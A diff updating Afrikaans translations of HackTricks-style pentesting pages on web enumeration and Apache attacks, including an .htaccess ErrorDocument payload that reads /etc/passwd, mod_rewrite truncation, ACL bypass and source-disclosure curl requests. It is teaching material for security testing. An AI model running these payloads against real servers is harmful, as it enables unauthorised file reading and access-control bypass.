_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die tool [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.** +- **Discover new parameters**: Jy kan tools soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. Indien moontlik, probeer om verborge parameters op elke uitvoerbare web-lêer te soek.** - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Kontroleer die comments van alle files; jy kan **credentials** of **versteekte funksionaliteit** vind. -- As jy 'n **CTF** doen, is 'n "algemene" truuk om **inligting** te **verberg** binne comments regs van die bladsy (gebruik **honderde** spasiekarakters sodat jy die data nie maklik sien as jy die bron met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n kommentaar onder in die bladsy te verberg. -- **API keys**: As jy enige API key vind bestaan daar gidse hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: As jy 'n API key vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter apis die sleutel kan toegang gee. -- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomain** of enige **link** verband hou met 'n **S3 bucket**. In daardie geval, [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments:** Kontroleer die comments van al die files; jy kan **credentials** of **verborge funksionaliteit** vind. +- As jy 'n **CTF** speel, is 'n "algemene" truuk om inligting te **versteek** in comments regs op die bladsy (deur **honderde** spasies te gebruik sodat jy die data nie sien as jy die source met die blaaier oopmaak nie). 'n Ander moontlikheid is om verskeie nuwe lyne te gebruik en inligting in 'n comment onderaan die webblad te verstop. +- **API keys**: As jy enige API key vind is daar gidse wat aan dui hoe om API keys van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: As jy 'n API key vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kontroleer watter apis die sleutel kan toegang kry. +- **S3 Buckets**: Terwyl jy spidering doen, kyk of enige **subdomain** of skakel verband hou met 'n **S3 bucket**. In daardie geval, [**kontroleer** die **permissions** van die bucket](buckets/index.html). ### Special findings -**Terwyl** jy die **spidering** en **brute-forcing** uitvoer kan jy **interessante** **vind** wat jy moet **aandui**. +**Terwyl** jy die **spidering** en **brute-forcing** uitvoer kan jy **interessante** **bevindinge** teenkom wat julle moet opneem. -**Interesting files** +**Interessante lêers** -- Kyk vir **links** na ander files binne die **CSS** files. +- Soek na **skakels** na ander files binne die **CSS** files. - [If you find a _**.git**_ file some information can be extracted](git.md) -- As jy 'n _**.env**_ vind, kan inligting soos api keys, db-wagwoorde en ander inligting gevind word. -- As jy **API endpoints** vind, [should also test them](web-api-pentesting.md). Dit is nie lêers nie, maar sal waarskynlik soos lêers lyk. -- **JS files**: In die spidering afdeling is verskeie tools genoem wat paaie uit JS files kan onttrek. Dit sal ook interessant wees om **elke JS file wat gevind is te monitor**, aangesien 'n verandering soms 'n potensiële kwesbaarheid in die kode kan aandui. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.** -- Jy moet ook ontdekte JS files toets met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te vind of dit kwesbaar is. +- As jy 'n _**.env**_ vind kan inligting soos api keys, dbs wagwoorde en ander inligting gevind word. +- As jy **API endpoints** vind, [moet jy hulle ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik soos lêers "voorkom". +- **JS files**: In die spidering-afdeling is verskeie tools genoem wat paaie uit JS files kan onttrek. Dit sal ook interessant wees om elke gevonden JS-lêer te **monitor**, aangesien 'n verandering soms kan aandui dat 'n potensiële kwesbaarheid in die kode ingebring is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.** +- Jy moet ook ontdekte JS files nagaan met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) om te sien of dit kwesbaar is. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- In baie gevalle sal jy die regulêre uitdrukkings moet verstaan wat gebruik word. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex) -- Jy kan ook **monitor** die files waarin vorms gedetecteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui. +- In verskeie gevalle sal jy die regular expressions moet verstaan wat gebruik word. Dit sal handig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex) +- Jy kan ook die files monitor waar vorms gedetecteer is, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,28 +312,28 @@ _Sien dat elke keer as 'n nuwe directory ontdek word tydens brute-forcing of spi **502 Proxy Error** -As enige bladsy met daardie **code** reageer, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP request stuur soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ te benader en jy het 'n SSRF gevind. +As enige bladsy met daardie kode **reageer**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP request soos stuur: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers), sal die **proxy** probeer om _**google.com**_ **toegang te kry** en jy het 'n SSRF gevind. **NTLM Authentication - Info disclosure** -As die aanmeldende server vir authentication vra en dit 'n **Windows** bediener is of jy vind 'n login wat vir jou **credentials** vra (en vra vir die **domain** **name**), kan jy 'n **inligtingslek** veroorsaak.\ -**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe **NTLM authentication** werk, sal die server met interne inligting (IIS version, Windows version...) in die header "WWW-Authenticate" reageer.\ -Jy kan dit **automate** met die **nmap plugin** "_http-ntlm-info.nse_". +As die bediener wat authentication vra **Windows** is of jy 'n login vind wat vir jou **credentials** vra (en vir **domain** **name** vra), kan jy 'n **inligtinglek** provoceer.\ +**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en weens hoe **NTLM authentication** werk, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die "WWW-Authenticate" header reageer.\ +Jy kan dit **outomatiseer** deur die **nmap plugin** "_http-ntlm-info.nse_" te gebruik. **HTTP Redirect (CTF)** -Dit is moontlik om **inhoud** binne 'n **Redirect** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die omleiding uitvoer) maar iets kan daar **weggesteek** wees. +Dit is moontlik om **inhoud** binne 'n **Redirection** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaier die redirect sal uitvoer) maar iets kan daarin **weggesteek** wees. ### Web Vulnerabilities Checking -Nou dat 'n omvattende enumerasie van die web toepassing uitgevoer is, is dit tyd om vir baie moontlike kwesbaarhede te toets. Jy kan die checklist hier vind: +Nou dat 'n omvattende enumerasie van die web toepassing gedoen is, is dit tyd om vele moontlike kwesbaarhede te kontroleer. Jy kan die checklist hier vind: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Find more info about web vulns in: +Vind meer inligting oor web vulns in: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -342,7 +341,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir wysigings wat moontlik kwesbaarhede kan invoeg. +Jy kan tools soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye te monitor vir modifikasies wat kwesbaarhede kan insluit. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index ff1e4e769..7060f257e 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Uitvoerbare PHP-uitbreidings -Kontroleer watter PHP-uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek kan jy uitvoer: +Kontroleer watter uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek, kan jy die volgende uitvoer: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Ook, sommige plekke waar jy hierdie konfigurasie kan vind is: +Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -23,11 +23,11 @@ Linux ``` ## LFI via .htaccess ErrorDocument file provider (ap_expr) -As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskep in arbitêre plaaslike lêerlees deur die ap_expr file() funksie binne ErrorDocument te gebruik. +As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskakel na arbitêre plaaslike lêerleesings deur die ap_expr file() funksie binne ErrorDocument te gebruik. - Vereistes: -- Apache 2.4 met expression parser (ap_expr) geaktiveer (standaard in 2.4). -- Die vhost/dir moet .htaccess toelaat om ErrorDocument te stel (AllowOverride FileInfo). +- Apache 2.4 met expression parser (ap_expr) aangeskakel (standaard in 2.4). +- Die vhost/dir moet toelaat dat .htaccess ErrorDocument kan stel (AllowOverride FileInfo). - Die Apache worker user moet leesregte op die teikenlêer hê. .htaccess payload: @@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Aktiveer deur 'n nie-bestaande path onder daardie directory aan te vra, byvoorbeeld wanneer userdir-style hosting misbruik word: +Activeer dit deur enige nie‑bestaande pad onder daardie directory op te vra, byvoorbeeld wanneer userdir-style hosting misbruik word: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` -Wenke en notas: -- Slegs absolute paadjies werk. Die inhoud word teruggestuur as die response body vir die 404-handler. -- Effektiewe leespermissies is dié van die Apache-gebruiker (gewoonlik www-data/apache). In standaardopstellings sal jy nie /root/* of /etc/shadow kan lees nie. -- Selfs al is .htaccess root-eienaar, as die ouer gids deur die tenant besit word en hernoeming toelaat, mag jy die oorspronklike .htaccess hernoem en jou eie plaasvervanger via SFTP/FTP oplaai: +Aantekeninge en wenke: +- Slegs absolute paadjies werk. Die inhoud word as die responsliggaam vir die 404-handler teruggegee. +- Effektiewe leesregte is dié van die Apache-user (tipies www-data/apache). Jy sal nie /root/* of /etc/shadow kan lees in standaard opstellings nie. +- Selfs al is .htaccess root-eienaarskap, as die ouer-gids tenant-eienaarskap het en hernoeming toelaat, kan jy moontlik die oorspronklike .htaccess hernoem en jou eie vervangingslêer via SFTP/FTP oplaai: - rename .htaccess .htaccess.bk -- sit jou kwaadwillige .htaccess -- Gebruik dit om toepassingsbron onder DocumentRoot of vhost config paths te lees om geheime in te samel (DB creds, API keys, ens.). +- put your malicious .htaccess +- Gebruik dit om application source onder DocumentRoot of vhost config-paadjies te lees om geheime inligting te oes (DB creds, API keys, ens.). -## Verwarringsaanval +## Confusion Attack -These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. +Hierdie tipe aanvalle is bekendgestel en gedokumenteer [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) en die volgende is 'n samevatting. Die "confusion" attack misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep nie perfek gesinkroniseer werk nie, en dat sommige van hulle onvoorsiene data wysig wat 'n kwesbaarheid in 'n later module kan veroorsaak. -### Lêernaamverwarring +### Filename Confusion #### Afkapping -Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsny ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle word dit as 'n lêerpad behandel, wat 'n probleem kan veroorsaak. +Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsny ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie aangesien meeste modules `r->filename` as 'n URL sal hanteer. Maar in ander gevalle sal dit as 'n lêerpad beskou word, wat 'n probleem kan veroorsaak. -- **Padafkapping** +### Padafkapping -Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers binne die lêerstelsel te kry deur bloot 'n `?` by te voeg wat die laaste deel van die verwagte pad verwyder: +Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers op die lêerstelsel te kry deur die laaste deel van die verwagte pad te verwyder deur bloot `?` by te voeg: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Misleidende RewriteFlag-toewysing** +- **Mislei RewriteFlag Assignment** -In die volgende rewrite-reël, solank die URL op .php eindig, sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL te stuur wat na die `?`-teken op .php eindig, terwyl 'n ander tipe lêer (soos 'n beeld) in die pad gelaai word met kwaadaardige php-kode daarin: +In die volgende rewrite rule, solank die URL op .php eindig sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL wat op .php eindig na die `?` char te stuur, terwyl jy in die pad 'n ander tipe lêer laai (soos 'n beeld) met kwaadwillige php-kode daarin: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Dit is moontlik om toegang tot lêers te kry waartoe die gebruiker nie behoort te kan toegang kry nie, selfs al behoort die toegang met konfigurasies soos die volgende geweier te word: +Dit is moontlik om lêers te benader waartoe 'n gebruiker nie toegang behoort te hê nie, selfs al sou toegang met konfigurasies soos die volgende geweier word: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Dit is omdat PHP-FPM standaard URL's wat eindig op `.php` sal ontvang, soos `http://server/admin.php%3Fooo.php`, en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied. +Dit is omdat PHP-FPM per verstek URLs wat op `.php` eindig, soos `http://server/admin.php%3Fooo.php`, sal ontvang en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai, selfs al het die vorige reël dit verbied. -### DocumentRoot verwarring +### DocumentRoot Verwarring ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -'n Interessante feit oor Apache is dat die vorige rewrite sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. Dus sal 'n versoek na `https://server/abouth.html` in die lêerstelsel kyk of die lêer in `/var/www/html/about.html` en `/about.html` bestaan. Dit kan basies misbruik word om toegang tot lêers in die lêerstelsel te kry. +'n prettige feit oor Apache is dat die vorige rewrite sal probeer om die lêer te bereik beide vanaf die documentRoot en vanaf root. Dus, 'n versoek na `https://server/abouth.html` sal nagaan vir die lêer in `/var/www/html/about.html` en `/about.html` op die lêerstelsel. Wat basies misbruik kan word om lêers op die lêerstelsel te benader. -#### **Serverkant Bronkode Blootstelling** +#### **Bedienerkant Bronkode-Openbaarmaking** -- **Blootstelling van CGI-bronkode** +- **Openbaar CGI-bronkode** -Deur net %3F aan die einde by te voeg is dit genoeg om die bronkode van 'n CGI-module te leak: +Net deur `%3F` aan die einde by te voeg is genoeg om die bronkode van 'n cgi module te leak: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **Maak PHP Source Code openbaar** -Indien 'n bediener verskillende domeine het, waarvan een 'n statiese domein is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak: +As 'n bediener verskillende domeine het, waarvan een 'n static domain is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,52 +133,52 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang tot die filesystem geweier sal word soos in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Die hoofprobleem met die vorige aanval is dat by verstek meeste toegang tot die filesystem sal geweier word soos in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -Maar, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe: +Maar [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat by verstek `/usr/share` toe: ```xml AllowOverride None Require all granted ``` -Daarom sal dit moontlik wees om **lêers binne `/usr/share` in hierdie distributies te misbruik.** +Daarom sou dit moontlik wees om **lêers binne `/usr/share` in hierdie distribusies te misbruik.** -**Plaaslike gadget na inligtingsvrystelling** +**Plaaslike gadget na Inligtingsvrystelling** -- **Apache HTTP Server** met **websocketd** kan die **dump-env.php**-skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewingsveranderlikes kan leak. -- Bedieners met **Nginx** of **Jetty** kan sensitiewe webtoepassingsinligting (bv. **web.xml**) blootstel deur hul verstek webwortels geplaas onder **/usr/share**: +- **Apache HTTP Server** met **websocketd** kan die **dump-env.php**-skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewingsvariabeles kan leak. +- Bedieners met **Nginx** of **Jetty** mag sensitiewe webtoepassingsinligting (bv. **web.xml**) deur hul standaard webwortels onder **/usr/share** blootstel: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** **Plaaslike gadget na XSS** -- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die misbruik van die help-lêers se taalwissel-funksie lei tot **Cross-Site Scripting (XSS)**. Deur die URL by **/usr/share/libreoffice/help/help.html** te manipuleer, kan daar herlei word na kwaadwillige bladsye of ouer weergawes deur 'n **unsafe RewriteRule**. +- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die uitbuiting van die hulp-lêers se taalwisselfunksie lei tot **Cross-Site Scripting (XSS)**. Deur die URL by **/usr/share/libreoffice/help/help.html** te manipuleer kan dit na kwaadwillige bladsye of ouer weergawes omskakel deur **unsafe RewriteRule**. **Plaaslike gadget na LFI** -- As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers misbruik word om sensitiewe lêers soos **/etc/passwd** te lees: +- As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers uitgebuit word om sensitiewe lêers soos **/etc/passwd** te lees: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Plaaslike gadget na SSRF** -- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF-kwetsbaarheid maklik geskep word, wat 'n poort tot verdere eksploite bied. +- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF-kwesbaarheid maklik geskep word, wat 'n poort na verdere uitbuitings bied. **Plaaslike gadget na RCE** -- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets demonstreer. +- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan uitgebuit word om ewekansige kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets toon. -#### **Jailbreak vanaf plaaslike gadgets** +#### **Jailbreak vanaf Plaaslike gadgets** -Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur symlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos: +Dit is ook moontlik om vanuit die toegelate vouers te jailbreak deur simboliese skakels te volg wat deur geïnstalleerde sagteware in daardie vouers geskep is, soos: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,46 +186,46 @@ Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur symlinks te - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Verder, deur symlinks te misbruik was dit moontlik om **RCE in Redmine** te verkry. +Boonop het dit deur die misbruik van simboliese skakels moontlik geword om **RCE in Redmine** te verkry. -### Handler Verwarring +### Handler Confusion -Hierdie aanval misbruik die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP-verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur beïnvloed. Weens ouer kode hanteer Apache egter hierdie riglyne onder sekere toestande uitruilbaar, deur `r->content_type` in `r->handler` om te skakel as die eersgenoemde gestel is en laasgenoemde nie. +Hierdie aanval gebruik die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP-verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur. As gevolg van ouer kode hanteer Apache egter hierdie riglyne deurmekaar onder sekere toestande, en skakel `r->content_type` na `r->handler` om as laasgenoemde gestel is en die eerste nie. -Verder, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voor die uitvoering van `ap_run_handler()`, gebruik die bediener **`r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak. +Verder, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voor die uitvoering van `ap_run_handler()`, gebruik die bediener **`r->content_type` as die handler**, wat `AddType` en `AddHandler` effektief gelyk maak in effek. -#### **Oorskryf handler om PHP-bronkode te openbaar** +#### **Oorskryf Handler om PHP-bronkode bloot te stel** -In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, Apache kan laat foutiewelik **die PHP-bronkode teruggee**. Dit was as gevolg van 'n fout in foutbehandeling met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryf van `r->content_type` na `text/html`.\ -Omdat ModSecurity nie terugkeerwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) is 'n kwesbaarheid aangebied waar 'n onjuiste `Content-Length` wat deur 'n kliënt gestuur is, Apache per ongeluk kan veroorsaak om **die PHP-bronkode terug te gee**. Dit was as gevolg van 'n fout hanteringskwessie met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele respons lei tot die oorskrywing van `r->content_type` na `text/html`.\ +Omdat ModSecurity nie retourwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie. -#### **Oorskryf handler na XXXX** +#### **Oorskryf Handler na XXXX** TODO: Orange het hierdie kwesbaarheid nog nie bekendgemaak nie -### **Roep arbitrêre handlers aan** +### **Roep ewekansige handlers aan** -As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bedienerantwoord te beheer, sal hy in staat wees om **arbitrêre module-handlers aan te roep**. Teen die tyd dat die aanvaller dit beheer, sal die meeste van die versoekproses egter reeds afgehandel wees. Dit is egter moontlik om die versoekproses te **herbegin deur die `Location`-kop te misbruik**, omdat as die teruggegewe `Status` 200 is en die `Location`-kop met 'n `/` begin, die response as 'n Server-Side Redirection beskou en verwerk moet word. +As 'n aanvaller in staat is om die **`Content-Type`** header in 'n bedienerrespons te beheer, sal hy in staat wees om **ewekansige module-handlers te roep**. Ná die punt waarop die aanvaller dit beheer, sal egter die meeste van die versoekproses reeds gedoen wees. Dit is egter moontlik om die versoekproses te **herbegin deur die `Location` header te misbruik** omdat, as die **r**eturned `Status` 200 is en die `Location` header begin met '/', die respons as 'n Server-Side Redirection behandel word en verwerk moet word -Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI), in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) word die gedrag van 'n Local Redirect Response gedefinieer: +Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI) definieer [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) die gedrag van 'n Local Redirect Response: -> Die CGI-skrip kan 'n URI-pad en query-string ('local-pathquery') vir 'n plaaslike hulpbron in 'n Location-kopveld teruggee. Dit dui aan dat die bediener die versoek weer moet verwerk met die gespesifiseerde pad. +> Die CGI-skrip kan 'n URI-pad en navraag-string (‘local-pathquery’) vir 'n plaaslike hulpbron in a Location header field teruggee. Dit dui aan die bediener dat dit die versoek weer moet verwerk met die gespesifiseerde pad. -Dus, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig: +Daarom is een van die volgende kwesbaarhede benodig om hierdie aanval uit te voer: -- CRLF Injection in the CGI response headers -- SSRF met volledige beheer oor die responskoppe +- CRLF Injection in die CGI response headers +- SSRF met volledige beheer oor die response headers -#### **Arbitrêre handler na inligtingsvrystelling** +#### **Ewekansige handler na Inligtingsvrystelling** -Byvoorbeeld, `/server-status` behoort slegs lokaal toeganklik te wees: +Byvoorbeeld `/server-status` behoort slegs plaaslik toeganklik te wees: ```xml SetHandler server-status Require local 